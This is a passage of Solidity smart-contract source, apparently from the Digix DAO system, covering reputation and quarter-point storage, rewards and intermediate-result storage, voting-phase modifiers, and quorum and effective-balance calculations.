function addQuarterPoint(address _participant, uint256 _point, uint256 _quarterNumber)
public
returns (uint256 _newPoint, uint256 _newTotalPoint)
{
require(sender_is_from([CONTRACT_DAO_VOTING, CONTRACT_DAO_VOTING_CLAIMS, EMPTY_BYTES]));
quarterPoint[_quarterNumber].totalSupply = quarterPoint[_quarterNumber].totalSupply.add(_point);
quarterPoint[_quarterNumber].balance[_participant] = quarterPoint[_quarterNumber].balance[_participant].add(_point);
_newPoint = quarterPoint[_quarterNumber].balance[_participant];
_newTotalPoint = quarterPoint[_quarterNumber].totalSupply;
}
function addModeratorQuarterPoint(address _participant, uint256 _point, uint256 _quarterNumber)
public
returns (uint256 _newPoint, uint256 _newTotalPoint)
{
require(sender_is_from([CONTRACT_DAO_VOTING, CONTRACT_DAO_VOTING_CLAIMS, EMPTY_BYTES]));
quarterModeratorPoint[_quarterNumber].totalSupply = quarterModeratorPoint[_quarterNumber].totalSupply.add(_point);
quarterModeratorPoint[_quarterNumber].balance[_participant] = quarterModeratorPoint[_quarterNumber].balance[_participant].add(_point);
_newPoint = quarterModeratorPoint[_quarterNumber].balance[_participant];
_newTotalPoint = quarterModeratorPoint[_quarterNumber].totalSupply;
}
function getQuarterPoint(address _participant, uint256 _quarterNumber)
public
view
returns (uint256 _point)
{
_point = quarterPoint[_quarterNumber].balance[_participant];
}
function getQuarterModeratorPoint(address _participant, uint256 _quarterNumber)
public
view
returns (uint256 _point)
{
_point = quarterModeratorPoint[_quarterNumber].balance[_participant];
}
function getTotalQuarterPoint(uint256 _quarterNumber)
public
view
returns (uint256 _totalPoint)
{
_totalPoint = quarterPoint[_quarterNumber].totalSupply;
}
function getTotalQuarterModeratorPoint(uint256 _quarterNumber)
public
view
returns (uint256 _totalPoint)
{
_totalPoint = quarterModeratorPoint[_quarterNumber].totalSupply;
}
function increaseReputation(address _participant, uint256 _point)
public
returns (uint256 _newPoint, uint256 _totalPoint)
{
require(sender_is_from([CONTRACT_DAO_VOTING_CLAIMS, CONTRACT_DAO_REWARDS_MANAGER, CONTRACT_DAO_STAKE_LOCKING]));
reputationPoint.totalSupply = reputationPoint.totalSupply.add(_point);
reputationPoint.balance[_participant] = reputationPoint.balance[_participant].add(_point);
_newPoint = reputationPoint.balance[_participant];
_totalPoint = reputationPoint.totalSupply;
}
function reduceReputation(address _participant, uint256 _point)
public
returns (uint256 _newPoint, uint256 _totalPoint)
{
require(sender_is_from([CONTRACT_DAO_VOTING_CLAIMS, CONTRACT_DAO_REWARDS_MANAGER, EMPTY_BYTES]));
uint256 _toDeduct = _point;
if (reputationPoint.balance[_participant] > _point) {
reputationPoint.balance[_participant] = reputationPoint.balance[_participant].sub(_point);
} else {
_toDeduct = reputationPoint.balance[_participant];
reputationPoint.balance[_participant] = 0;
}
reputationPoint.totalSupply = reputationPoint.totalSupply.sub(_toDeduct);
_newPoint = reputationPoint.balance[_participant];
_totalPoint = reputationPoint.totalSupply;
}
function getReputation(address _participant)
public
view
returns (uint256 _point)
{
_point = reputationPoint.balance[_participant];
}
function getTotalReputation()
public
view
returns (uint256 _totalPoint)
{
_totalPoint = reputationPoint.totalSupply;
}
}
contract DaoRewardsStorage is ResolverClient, DaoConstants {
using DaoStructs for DaoStructs.DaoQuarterInfo;
mapping(uint256 => DaoStructs.DaoQuarterInfo) public allQuartersInfo;
mapping(address => uint256) public claimableDGXs;
uint256 public totalDGXsClaimed;
mapping (address => uint256) public lastParticipatedQuarter;
mapping (address => uint256) public previousLastParticipatedQuarter;
mapping (address => uint256) public lastQuarterThatRewardsWasUpdated;
mapping (address => uint256) public lastQuarterThatReputationWasUpdated;
constructor(address _resolver)
public
{
require(init(CONTRACT_STORAGE_DAO_REWARDS, _resolver));
}
function updateQuarterInfo(
uint256 _quarterNumber,
uint256 _minimalParticipationPoint,
uint256 _quarterPointScalingFactor,
uint256 _reputationPointScalingFactor,
uint256 _totalEffectiveDGDPreviousQuarter,
uint256 _moderatorMinimalQuarterPoint,
uint256 _moderatorQuarterPointScalingFactor,
uint256 _moderatorReputationPointScalingFactor,
uint256 _totalEffectiveModeratorDGDLastQuarter,
uint256 _dgxDistributionDay,
uint256 _dgxRewardsPoolLastQuarter,
uint256 _sumRewardsFromBeginning
)
public
{
require(sender_is(CONTRACT_DAO_REWARDS_MANAGER));
allQuartersInfo[_quarterNumber].minimalParticipationPoint = _minimalParticipationPoint;
allQuartersInfo[_quarterNumber].quarterPointScalingFactor = _quarterPointScalingFactor;
allQuartersInfo[_quarterNumber].reputationPointScalingFactor = _reputationPointScalingFactor;
allQuartersInfo[_quarterNumber].totalEffectiveDGDPreviousQuarter = _totalEffectiveDGDPreviousQuarter;
allQuartersInfo[_quarterNumber].moderatorMinimalParticipationPoint = _moderatorMinimalQuarterPoint;
allQuartersInfo[_quarterNumber].moderatorQuarterPointScalingFactor = _moderatorQuarterPointScalingFactor;
allQuartersInfo[_quarterNumber].moderatorReputationPointScalingFactor = _moderatorReputationPointScalingFactor;
allQuartersInfo[_quarterNumber].totalEffectiveModeratorDGDLastQuarter = _totalEffectiveModeratorDGDLastQuarter;
allQuartersInfo[_quarterNumber].dgxDistributionDay = _dgxDistributionDay;
allQuartersInfo[_quarterNumber].dgxRewardsPoolLastQuarter = _dgxRewardsPoolLastQuarter;
allQuartersInfo[_quarterNumber].sumRewardsFromBeginning = _sumRewardsFromBeginning;
}
function updateClaimableDGX(address _user, uint256 _newClaimableDGX)
public
{
require(sender_is(CONTRACT_DAO_REWARDS_MANAGER));
claimableDGXs[_user] = _newClaimableDGX;
}
function updateLastParticipatedQuarter(address _user, uint256 _lastQuarter)
public
{
require(sender_is(CONTRACT_DAO_STAKE_LOCKING));
lastParticipatedQuarter[_user] = _lastQuarter;
}
function updatePreviousLastParticipatedQuarter(address _user, uint256 _lastQuarter)
public
{
require(sender_is(CONTRACT_DAO_STAKE_LOCKING));
previousLastParticipatedQuarter[_user] = _lastQuarter;
}
function updateLastQuarterThatRewardsWasUpdated(address _user, uint256 _lastQuarter)
public
{
require(sender_is_from([CONTRACT_DAO_REWARDS_MANAGER, CONTRACT_DAO_STAKE_LOCKING, EMPTY_BYTES]));
lastQuarterThatRewardsWasUpdated[_user] = _lastQuarter;
}
function updateLastQuarterThatReputationWasUpdated(address _user, uint256 _lastQuarter)
public
{
require(sender_is_from([CONTRACT_DAO_REWARDS_MANAGER, CONTRACT_DAO_STAKE_LOCKING, EMPTY_BYTES]));
lastQuarterThatReputationWasUpdated[_user] = _lastQuarter;
}
function addToTotalDgxClaimed(uint256 _dgxClaimed)
public
{
require(sender_is(CONTRACT_DAO_REWARDS_MANAGER));
totalDGXsClaimed = totalDGXsClaimed.add(_dgxClaimed);
}
function readQuarterInfo(uint256 _quarterNumber)
public
view
returns (
uint256 _minimalParticipationPoint,
uint256 _quarterPointScalingFactor,
uint256 _reputationPointScalingFactor,
uint256 _totalEffectiveDGDPreviousQuarter,
uint256 _moderatorMinimalQuarterPoint,
uint256 _moderatorQuarterPointScalingFactor,
uint256 _moderatorReputationPointScalingFactor,
uint256 _totalEffectiveModeratorDGDLastQuarter,
uint256 _dgxDistributionDay,
uint256 _dgxRewardsPoolLastQuarter,
uint256 _sumRewardsFromBeginning
)
{
_minimalParticipationPoint = allQuartersInfo[_quarterNumber].minimalParticipationPoint;
_quarterPointScalingFactor = allQuartersInfo[_quarterNumber].quarterPointScalingFactor;
_reputationPointScalingFactor = allQuartersInfo[_quarterNumber].reputationPointScalingFactor;
_totalEffectiveDGDPreviousQuarter = allQuartersInfo[_quarterNumber].totalEffectiveDGDPreviousQuarter;
_moderatorMinimalQuarterPoint = allQuartersInfo[_quarterNumber].moderatorMinimalParticipationPoint;
_moderatorQuarterPointScalingFactor = allQuartersInfo[_quarterNumber].moderatorQuarterPointScalingFactor;
_moderatorReputationPointScalingFactor = allQuartersInfo[_quarterNumber].moderatorReputationPointScalingFactor;
_totalEffectiveModeratorDGDLastQuarter = allQuartersInfo[_quarterNumber].totalEffectiveModeratorDGDLastQuarter;
_dgxDistributionDay = allQuartersInfo[_quarterNumber].dgxDistributionDay;
_dgxRewardsPoolLastQuarter = allQuartersInfo[_quarterNumber].dgxRewardsPoolLastQuarter;
_sumRewardsFromBeginning = allQuartersInfo[_quarterNumber].sumRewardsFromBeginning;
}
function readQuarterGeneralInfo(uint256 _quarterNumber)
public
view
returns (
uint256 _dgxDistributionDay,
uint256 _dgxRewardsPoolLastQuarter,
uint256 _sumRewardsFromBeginning
)
{
_dgxDistributionDay = allQuartersInfo[_quarterNumber].dgxDistributionDay;
_dgxRewardsPoolLastQuarter = allQuartersInfo[_quarterNumber].dgxRewardsPoolLastQuarter;
_sumRewardsFromBeginning = allQuartersInfo[_quarterNumber].sumRewardsFromBeginning;
}
function readQuarterModeratorInfo(uint256 _quarterNumber)
public
view
returns (
uint256 _moderatorMinimalQuarterPoint,
uint256 _moderatorQuarterPointScalingFactor,
uint256 _moderatorReputationPointScalingFactor,
uint256 _totalEffectiveModeratorDGDLastQuarter
)
{
_moderatorMinimalQuarterPoint = allQuartersInfo[_quarterNumber].moderatorMinimalParticipationPoint;
_moderatorQuarterPointScalingFactor = allQuartersInfo[_quarterNumber].moderatorQuarterPointScalingFactor;
_moderatorReputationPointScalingFactor = allQuartersInfo[_quarterNumber].moderatorReputationPointScalingFactor;
_totalEffectiveModeratorDGDLastQuarter = allQuartersInfo[_quarterNumber].totalEffectiveModeratorDGDLastQuarter;
}
function readQuarterParticipantInfo(uint256 _quarterNumber)
public
view
returns (
uint256 _minimalParticipationPoint,
uint256 _quarterPointScalingFactor,
uint256 _reputationPointScalingFactor,
uint256 _totalEffectiveDGDPreviousQuarter
)
{
_minimalParticipationPoint = allQuartersInfo[_quarterNumber].minimalParticipationPoint;
_quarterPointScalingFactor = allQuartersInfo[_quarterNumber].quarterPointScalingFactor;
_reputationPointScalingFactor = allQuartersInfo[_quarterNumber].reputationPointScalingFactor;
_totalEffectiveDGDPreviousQuarter = allQuartersInfo[_quarterNumber].totalEffectiveDGDPreviousQuarter;
}
function readDgxDistributionDay(uint256 _quarterNumber)
public
view
returns (uint256 _distributionDay)
{
_distributionDay = allQuartersInfo[_quarterNumber].dgxDistributionDay;
}
function readTotalEffectiveDGDLastQuarter(uint256 _quarterNumber)
public
view
returns (uint256 _totalEffectiveDGDPreviousQuarter)
{
_totalEffectiveDGDPreviousQuarter = allQuartersInfo[_quarterNumber].totalEffectiveDGDPreviousQuarter;
}
function readTotalEffectiveModeratorDGDLastQuarter(uint256 _quarterNumber)
public
view
returns (uint256 _totalEffectiveModeratorDGDLastQuarter)
{
_totalEffectiveModeratorDGDLastQuarter = allQuartersInfo[_quarterNumber].totalEffectiveModeratorDGDLastQuarter;
}
function readRewardsPoolOfLastQuarter(uint256 _quarterNumber)
public
view
returns (uint256 _rewardsPool)
{
_rewardsPool = allQuartersInfo[_quarterNumber].dgxRewardsPoolLastQuarter;
}
}
contract IntermediateResultsStorage is ResolverClient, DaoConstants {
using DaoStructs for DaoStructs.IntermediateResults;
constructor(address _resolver) public {
require(init(CONTRACT_STORAGE_INTERMEDIATE_RESULTS, _resolver));
}
mapping (bytes32 => DaoStructs.IntermediateResults) allIntermediateResults;
function getIntermediateResults(bytes32 _key)
public
view
returns (
address _countedUntil,
uint256 _currentForCount,
uint256 _currentAgainstCount,
uint256 _currentSumOfEffectiveBalance
)
{
_countedUntil = allIntermediateResults[_key].countedUntil;
_currentForCount = allIntermediateResults[_key].currentForCount;
_currentAgainstCount = allIntermediateResults[_key].currentAgainstCount;
_currentSumOfEffectiveBalance = allIntermediateResults[_key].currentSumOfEffectiveBalance;
}
function resetIntermediateResults(bytes32 _key)
public
{
require(sender_is_from([CONTRACT_DAO_REWARDS_MANAGER, CONTRACT_DAO_VOTING_CLAIMS, CONTRACT_DAO_SPECIAL_VOTING_CLAIMS]));
allIntermediateResults[_key].countedUntil = address(0x0);
}
function setIntermediateResults(
bytes32 _key,
address _countedUntil,
uint256 _currentForCount,
uint256 _currentAgainstCount,
uint256 _currentSumOfEffectiveBalance
)
public
{
require(sender_is_from([CONTRACT_DAO_REWARDS_MANAGER, CONTRACT_DAO_VOTING_CLAIMS, CONTRACT_DAO_SPECIAL_VOTING_CLAIMS]));
allIntermediateResults[_key].countedUntil = _countedUntil;
allIntermediateResults[_key].currentForCount = _currentForCount;
allIntermediateResults[_key].currentAgainstCount = _currentAgainstCount;
allIntermediateResults[_key].currentSumOfEffectiveBalance = _currentSumOfEffectiveBalance;
}
}
library MathHelper {
using SafeMath for uint256;
function max(uint256 a, uint256 b) internal pure returns (uint256 _max){
_max = b;
if (a > b) {
_max = a;
}
}
function min(uint256 a, uint256 b) internal pure returns (uint256 _min){
_min = b;
if (a < b) {
_min = a;
}
}
function sumNumbers(uint256[] _numbers) internal pure returns (uint256 _sum) {
for (uint256 i=0;i<_numbers.length;i++) {
_sum = _sum.add(_numbers[i]);
}
}
}
contract DaoCommonMini is IdentityCommon {
using MathHelper for MathHelper;
function isDaoNotReplaced()
public
view
returns (bool _isNotReplaced)
{
_isNotReplaced = !daoUpgradeStorage().isReplacedByNewDao();
}
function isLockingPhase()
public
view
returns (bool _isLockingPhase)
{
_isLockingPhase = currentTimeInQuarter() < getUintConfig(CONFIG_LOCKING_PHASE_DURATION);
}
function isMainPhase()
public
view
returns (bool _isMainPhase)
{
_isMainPhase =
isDaoNotReplaced() &&
currentTimeInQuarter() >= getUintConfig(CONFIG_LOCKING_PHASE_DURATION);
}
modifier ifGlobalRewardsSet(uint256 _quarterNumber) {
if (_quarterNumber > 1) {
require(daoRewardsStorage().readDgxDistributionDay(_quarterNumber) > 0);
}
_;
}
function requireInPhase(uint256 _startingPoint, uint256 _relativePhaseStart, uint256 _relativePhaseEnd)
internal
view
{
require(_startingPoint > 0);
require(now < _startingPoint.add(_relativePhaseEnd));
require(now >= _startingPoint.add(_relativePhaseStart));
}
function currentQuarterNumber()
public
view
returns(uint256 _quarterNumber)
{
_quarterNumber = getQuarterNumber(now);
}
function getQuarterNumber(uint256 _time)
internal
view
returns (uint256 _index)
{
require(startOfFirstQuarterIsSet());
_index =
_time.sub(daoUpgradeStorage().startOfFirstQuarter())
.div(getUintConfig(CONFIG_QUARTER_DURATION))
.add(1);
}
function timeInQuarter(uint256 _time)
internal
view
returns (uint256 _timeInQuarter)
{
require(startOfFirstQuarterIsSet());
_timeInQuarter =
_time.sub(daoUpgradeStorage().startOfFirstQuarter())
% getUintConfig(CONFIG_QUARTER_DURATION);
}
function startOfFirstQuarterIsSet()
internal
view
returns (bool _isSet)
{
_isSet = daoUpgradeStorage().startOfFirstQuarter() != 0;
}
function currentTimeInQuarter()
public
view
returns (uint256 _currentT)
{
_currentT = timeInQuarter(now);
}
function getTimeLeftInQuarter(uint256 _time)
internal
view
returns (uint256 _timeLeftInQuarter)
{
_timeLeftInQuarter = getUintConfig(CONFIG_QUARTER_DURATION).sub(timeInQuarter(_time));
}
function daoListingService()
internal
view
returns (DaoListingService _contract)
{
_contract = DaoListingService(get_contract(CONTRACT_SERVICE_DAO_LISTING));
}
function daoConfigsStorage()
internal
view
returns (DaoConfigsStorage _contract)
{
_contract = DaoConfigsStorage(get_contract(CONTRACT_STORAGE_DAO_CONFIG));
}
function daoStakeStorage()
internal
view
returns (DaoStakeStorage _contract)
{
_contract = DaoStakeStorage(get_contract(CONTRACT_STORAGE_DAO_STAKE));
}
function daoStorage()
internal
view
returns (DaoStorage _contract)
{
_contract = DaoStorage(get_contract(CONTRACT_STORAGE_DAO));
}
function daoProposalCounterStorage()
internal
view
returns (DaoProposalCounterStorage _contract)
{
_contract = DaoProposalCounterStorage(get_contract(CONTRACT_STORAGE_DAO_COUNTER));
}
function daoUpgradeStorage()
internal
view
returns (DaoUpgradeStorage _contract)
{
_contract = DaoUpgradeStorage(get_contract(CONTRACT_STORAGE_DAO_UPGRADE));
}
function daoSpecialStorage()
internal
view
returns (DaoSpecialStorage _contract)
{
_contract = DaoSpecialStorage(get_contract(CONTRACT_STORAGE_DAO_SPECIAL));
}
function daoPointsStorage()
internal
view
returns (DaoPointsStorage _contract)
{
_contract = DaoPointsStorage(get_contract(CONTRACT_STORAGE_DAO_POINTS));
}
function daoRewardsStorage()
internal
view
returns (DaoRewardsStorage _contract)
{
_contract = DaoRewardsStorage(get_contract(CONTRACT_STORAGE_DAO_REWARDS));
}
function intermediateResultsStorage()
internal
view
returns (IntermediateResultsStorage _contract)
{
_contract = IntermediateResultsStorage(get_contract(CONTRACT_STORAGE_INTERMEDIATE_RESULTS));
}
function getUintConfig(bytes32 _configKey)
public
view
returns (uint256 _configValue)
{
_configValue = daoConfigsStorage().uintConfigs(_configKey);
}
}
contract DaoCommon is DaoCommonMini {
using MathHelper for MathHelper;
function isFromProposer(bytes32 _proposalId)
internal
view
returns (bool _isFromProposer)
{
_isFromProposer = msg.sender == daoStorage().readProposalProposer(_proposalId);
}
function isEditable(bytes32 _proposalId)
internal
view
returns (bool _isEditable)
{
bytes32 _finalVersion;
(,,,,,,,_finalVersion,,) = daoStorage().readProposal(_proposalId);
_isEditable = _finalVersion == EMPTY_BYTES;
}
function weiInDao()
internal
view
returns (uint256 _wei)
{
_wei = get_contract(CONTRACT_DAO_FUNDING_MANAGER).balance;
}
modifier ifAfterDraftVotingPhase(bytes32 _proposalId) {
uint256 _start = daoStorage().readProposalDraftVotingTime(_proposalId);
require(_start > 0);
require(now >= _start.add(getUintConfig(CONFIG_DRAFT_VOTING_PHASE)));
_;
}
modifier ifCommitPhase(bytes32 _proposalId, uint8 _index) {
requireInPhase(
daoStorage().readProposalVotingTime(_proposalId, _index),
0,
getUintConfig(_index == 0 ? CONFIG_VOTING_COMMIT_PHASE : CONFIG_INTERIM_COMMIT_PHASE)
);
_;
}
modifier ifRevealPhase(bytes32 _proposalId, uint256 _index) {
requireInPhase(
daoStorage().readProposalVotingTime(_proposalId, _index),
getUintConfig(_index == 0 ? CONFIG_VOTING_COMMIT_PHASE : CONFIG_INTERIM_COMMIT_PHASE),
getUintConfig(_index == 0 ? CONFIG_VOTING_PHASE_TOTAL : CONFIG_INTERIM_PHASE_TOTAL)
);
_;
}
modifier ifAfterProposalRevealPhase(bytes32 _proposalId, uint256 _index) {
uint256 _start = daoStorage().readProposalVotingTime(_proposalId, _index);
require(_start > 0);
require(now >= _start.add(getUintConfig(_index == 0 ? CONFIG_VOTING_PHASE_TOTAL : CONFIG_INTERIM_PHASE_TOTAL)));
_;
}
modifier ifDraftVotingPhase(bytes32 _proposalId) {
requireInPhase(
daoStorage().readProposalDraftVotingTime(_proposalId),
0,
getUintConfig(CONFIG_DRAFT_VOTING_PHASE)
);
_;
}
modifier isProposalState(bytes32 _proposalId, bytes32 _STATE) {
bytes32 _currentState;
(,,,_currentState,,,,,,) = daoStorage().readProposal(_proposalId);
require(_currentState == _STATE);
_;
}
modifier ifFundingPossible(uint256[] _fundings, uint256 _finalReward) {
require(MathHelper.sumNumbers(_fundings).add(_finalReward) <= weiInDao());
_;
}
modifier ifDraftNotClaimed(bytes32 _proposalId) {
require(daoStorage().isDraftClaimed(_proposalId) == false);
_;
}
modifier ifNotClaimed(bytes32 _proposalId, uint256 _index) {
require(daoStorage().isClaimed(_proposalId, _index) == false);
_;
}
modifier ifNotClaimedSpecial(bytes32 _proposalId) {
require(daoSpecialStorage().isClaimed(_proposalId) == false);
_;
}
modifier hasNotRevealed(bytes32 _proposalId, uint256 _index) {
uint256 _voteWeight;
(, _voteWeight) = daoStorage().readVote(_proposalId, _index, msg.sender);
require(_voteWeight == uint(0));
_;
}
modifier hasNotRevealedSpecial(bytes32 _proposalId) {
uint256 _weight;
(,_weight) = daoSpecialStorage().readVote(_proposalId, msg.sender);
require(_weight == uint256(0));
_;
}
modifier ifAfterRevealPhaseSpecial(bytes32 _proposalId) {
uint256 _start = daoSpecialStorage().readVotingTime(_proposalId);
require(_start > 0);
require(now.sub(_start) >= getUintConfig(CONFIG_SPECIAL_PROPOSAL_PHASE_TOTAL));
_;
}
modifier ifCommitPhaseSpecial(bytes32 _proposalId) {
requireInPhase(
daoSpecialStorage().readVotingTime(_proposalId),
0,
getUintConfig(CONFIG_SPECIAL_PROPOSAL_COMMIT_PHASE)
);
_;
}
modifier ifRevealPhaseSpecial(bytes32 _proposalId) {
requireInPhase(
daoSpecialStorage().readVotingTime(_proposalId),
getUintConfig(CONFIG_SPECIAL_PROPOSAL_COMMIT_PHASE),
getUintConfig(CONFIG_SPECIAL_PROPOSAL_PHASE_TOTAL)
);
_;
}
function daoWhitelistingStorage()
internal
view
returns (DaoWhitelistingStorage _contract)
{
_contract = DaoWhitelistingStorage(get_contract(CONTRACT_STORAGE_DAO_WHITELISTING));
}
function getAddressConfig(bytes32 _configKey)
public
view
returns (address _configValue)
{
_configValue = daoConfigsStorage().addressConfigs(_configKey);
}
function getBytesConfig(bytes32 _configKey)
public
view
returns (bytes32 _configValue)
{
_configValue = daoConfigsStorage().bytesConfigs(_configKey);
}
function isParticipant(address _user)
public
view
returns (bool _is)
{
_is =
(daoRewardsStorage().lastParticipatedQuarter(_user) == currentQuarterNumber())
&& (daoStakeStorage().lockedDGDStake(_user) >= getUintConfig(CONFIG_MINIMUM_LOCKED_DGD));
}
function isModerator(address _user)
public
view
returns (bool _is)
{
_is =
(daoRewardsStorage().lastParticipatedQuarter(_user) == currentQuarterNumber())
&& (daoStakeStorage().lockedDGDStake(_user) >= getUintConfig(CONFIG_MINIMUM_DGD_FOR_MODERATOR))
&& (daoPointsStorage().getReputation(_user) >= getUintConfig(CONFIG_MINIMUM_REPUTATION_FOR_MODERATOR));
}
function startOfMilestone(bytes32 _proposalId, uint256 _milestoneIndex)
internal
view
returns (uint256 _milestoneStart)
{
uint256 _startOfPrecedingVotingRound = daoStorage().readProposalVotingTime(_proposalId, _milestoneIndex);
require(_startOfPrecedingVotingRound > 0);
if (_milestoneIndex == 0) {
_milestoneStart =
_startOfPrecedingVotingRound
.add(getUintConfig(CONFIG_VOTING_PHASE_TOTAL));
} else {
_milestoneStart =
_startOfPrecedingVotingRound
.add(getUintConfig(CONFIG_INTERIM_PHASE_TOTAL));
}
}
function getTimelineForNextVote(
uint256 _index,
uint256 _tentativeVotingStart
)
internal
view
returns (uint256 _actualVotingStart)
{
uint256 _timeLeftInQuarter = getTimeLeftInQuarter(_tentativeVotingStart);
uint256 _votingDuration = getUintConfig(_index == 0 ? CONFIG_VOTING_PHASE_TOTAL : CONFIG_INTERIM_PHASE_TOTAL);
_actualVotingStart = _tentativeVotingStart;
if (timeInQuarter(_tentativeVotingStart) < getUintConfig(CONFIG_LOCKING_PHASE_DURATION)) {
_actualVotingStart = _tentativeVotingStart.add(
getUintConfig(CONFIG_LOCKING_PHASE_DURATION).sub(timeInQuarter(_tentativeVotingStart))
);
} else if (_timeLeftInQuarter < _votingDuration.add(getUintConfig(CONFIG_VOTE_CLAIMING_DEADLINE))) {
_actualVotingStart = _tentativeVotingStart.add(
_timeLeftInQuarter.add(getUintConfig(CONFIG_LOCKING_PHASE_DURATION)).add(1)
);
}
}
function checkNonDigixProposalLimit(bytes32 _proposalId)
internal
view
{
require(isNonDigixProposalsWithinLimit(_proposalId));
}
function isNonDigixProposalsWithinLimit(bytes32 _proposalId)
internal
view
returns (bool _withinLimit)
{
bool _isDigixProposal;
(,,,,,,,,,_isDigixProposal) = daoStorage().readProposal(_proposalId);
_withinLimit = true;
if (!_isDigixProposal) {
_withinLimit = daoProposalCounterStorage().proposalCountByQuarter(currentQuarterNumber()) < getUintConfig(CONFIG_NON_DIGIX_PROPOSAL_CAP_PER_QUARTER);
}
}
function checkNonDigixFundings(uint256[] _milestonesFundings, uint256 _finalReward)
internal
view
{
if (!is_founder()) {
require(_milestonesFundings.length <= getUintConfig(CONFIG_MAX_MILESTONES_FOR_NON_DIGIX));
require(MathHelper.sumNumbers(_milestonesFundings).add(_finalReward) <= getUintConfig(CONFIG_MAX_FUNDING_FOR_NON_DIGIX));
}
}
function senderCanDoProposerOperations()
internal
view
{
require(isMainPhase());
require(isParticipant(msg.sender));
require(identity_storage().is_kyc_approved(msg.sender));
}
}
contract DgxDemurrageCalculator {
function calculateDemurrage(uint256 _initial_balance, uint256 _days_elapsed)
public
view
returns (uint256 _demurrage_fees, bool _no_demurrage_fees);
}
contract DaoCalculatorService is DaoCommon {
address public dgxDemurrageCalculatorAddress;
using MathHelper for MathHelper;
constructor(address _resolver, address _dgxDemurrageCalculatorAddress)
public
{
require(init(CONTRACT_SERVICE_DAO_CALCULATOR, _resolver));
dgxDemurrageCalculatorAddress = _dgxDemurrageCalculatorAddress;
}
function calculateAdditionalLockedDGDStake(uint256 _additionalDgd)
public
view
returns (uint256 _additionalLockedDGDStake)
{
_additionalLockedDGDStake =
_additionalDgd.mul(
getUintConfig(CONFIG_QUARTER_DURATION)
.sub(
MathHelper.max(
currentTimeInQuarter(),
getUintConfig(CONFIG_LOCKING_PHASE_DURATION)
)
)
)
.div(
getUintConfig(CONFIG_QUARTER_DURATION)
.sub(getUintConfig(CONFIG_LOCKING_PHASE_DURATION))
);
}
function minimumDraftQuorum(bytes32 _proposalId)
public
view
returns (uint256 _minQuorum)
{
uint256[] memory _fundings;
(_fundings,) = daoStorage().readProposalFunding(_proposalId);
_minQuorum = calculateMinQuorum(
daoStakeStorage().totalModeratorLockedDGDStake(),
getUintConfig(CONFIG_DRAFT_QUORUM_FIXED_PORTION_NUMERATOR),
getUintConfig(CONFIG_DRAFT_QUORUM_FIXED_PORTION_DENOMINATOR),
getUintConfig(CONFIG_DRAFT_QUORUM_SCALING_FACTOR_NUMERATOR),
getUintConfig(CONFIG_DRAFT_QUORUM_SCALING_FACTOR_DENOMINATOR),
_fundings[0]
);
}
function draftQuotaPass(uint256 _for, uint256 _against)
public
view
returns (bool _passed)
{
_passed = _for.mul(getUintConfig(CONFIG_DRAFT_QUOTA_DENOMINATOR))
> getUintConfig(CONFIG_DRAFT_QUOTA_NUMERATOR).mul(_for.add(_against));
}
function minimumVotingQuorum(bytes32 _proposalId, uint256 _milestone_id)
public
view
returns (uint256 _minQuorum)
{
require(senderIsAllowedToRead());
uint256[] memory _weiAskedPerMilestone;
uint256 _finalReward;
(_weiAskedPerMilestone,_finalReward) = daoStorage().readProposalFunding(_proposalId);
require(_milestone_id <= _weiAskedPerMilestone.length);
if (_milestone_id == _weiAskedPerMilestone.length) {
_minQuorum = calculateMinQuorum(
daoStakeStorage().totalLockedDGDStake(),
getUintConfig(CONFIG_VOTING_QUORUM_FIXED_PORTION_NUMERATOR),
getUintConfig(CONFIG_VOTING_QUORUM_FIXED_PORTION_DENOMINATOR),
getUintConfig(CONFIG_FINAL_REWARD_SCALING_FACTOR_NUMERATOR),
getUintConfig(CONFIG_FINAL_REWARD_SCALING_FACTOR_DENOMINATOR),
_finalReward
);
} else {
_minQuorum = calculateMinQuorum(
daoStakeStorage().totalLockedDGDStake(),
getUintConfig(CONFIG_VOTING_QUORUM_FIXED_PORTION_NUMERATOR),
getUintConfig(CONFIG_VOTING_QUORUM_FIXED_PORTION_DENOMINATOR),
getUintConfig(CONFIG_VOTING_QUORUM_SCALING_FACTOR_NUMERATOR),
getUintConfig(CONFIG_VOTING_QUORUM_SCALING_FACTOR_DENOMINATOR),
_weiAskedPerMilestone[_milestone_id]
);
}
}
function minimumVotingQuorumForSpecial()
public
view
returns (uint256 _minQuorum)
{
_minQuorum = getUintConfig(CONFIG_SPECIAL_PROPOSAL_QUORUM_NUMERATOR).mul(
daoStakeStorage().totalLockedDGDStake()
).div(
getUintConfig(CONFIG_SPECIAL_PROPOSAL_QUORUM_DENOMINATOR)
);
}
function votingQuotaPass(uint256 _for, uint256 _against)
public
view
returns (bool _passed)
{
_passed = _for.mul(getUintConfig(CONFIG_VOTING_QUOTA_DENOMINATOR))
> getUintConfig(CONFIG_VOTING_QUOTA_NUMERATOR).mul(_for.add(_against));
}
function votingQuotaForSpecialPass(uint256 _for, uint256 _against)
public
view
returns (bool _passed)
{
_passed =_for.mul(getUintConfig(CONFIG_SPECIAL_QUOTA_DENOMINATOR))
> getUintConfig(CONFIG_SPECIAL_QUOTA_NUMERATOR).mul(_for.add(_against));
}
function calculateMinQuorum(
uint256 _totalStake,
uint256 _fixedQuorumPortionNumerator,
uint256 _fixedQuorumPortionDenominator,
uint256 _scalingFactorNumerator,
uint256 _scalingFactorDenominator,
uint256 _weiAsked
)
internal
view
returns (uint256 _minimumQuorum)
{
uint256 _weiInDao = weiInDao();
_minimumQuorum = (_totalStake.mul(_fixedQuorumPortionNumerator)).div(_fixedQuorumPortionDenominator);
_minimumQuorum = _minimumQuorum.add(_totalStake.mul(_weiAsked.mul(_scalingFactorNumerator)).div(_weiInDao.mul(_scalingFactorDenominator)));
}
function calculateUserEffectiveBalance(
uint256 _minimalParticipationPoint,
uint256 _quarterPointScalingFactor,
uint256 _reputationPointScalingFactor,
uint256 _quarterPoint,
uint256 _reputationPoint,
uint256 _lockedDGDStake
)
public
pure
returns (uint256 _effectiveDGDBalance)
{
uint256 _baseDGDBalance = MathHelper.min(_quarterPoint, _minimalParticipationPoint).mul(_lockedDGDStake).div(_minimalParticipationPoint);
_effectiveDGDBalance =
_baseDGDBalance
.mul(_quarterPointScalingFactor.add(_quarterPoint).sub(_minimalParticipationPoint))
.mul(_reputationPointScalingFactor.add(_reputationPoint))
.div(_quarterPointScalingFactor.mul(_reputationPointScalingFactor));
}
function calculateDemurrage(uint256 _balance, uint256 _daysElapsed)
public
view
returns (uint256 _demurrageFees)
{
(_demurrageFees,) = DgxDemurrageCalculator(dgxDemurrageCalculatorAddress).calculateDemurrage(_balance, _daysElapsed);
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
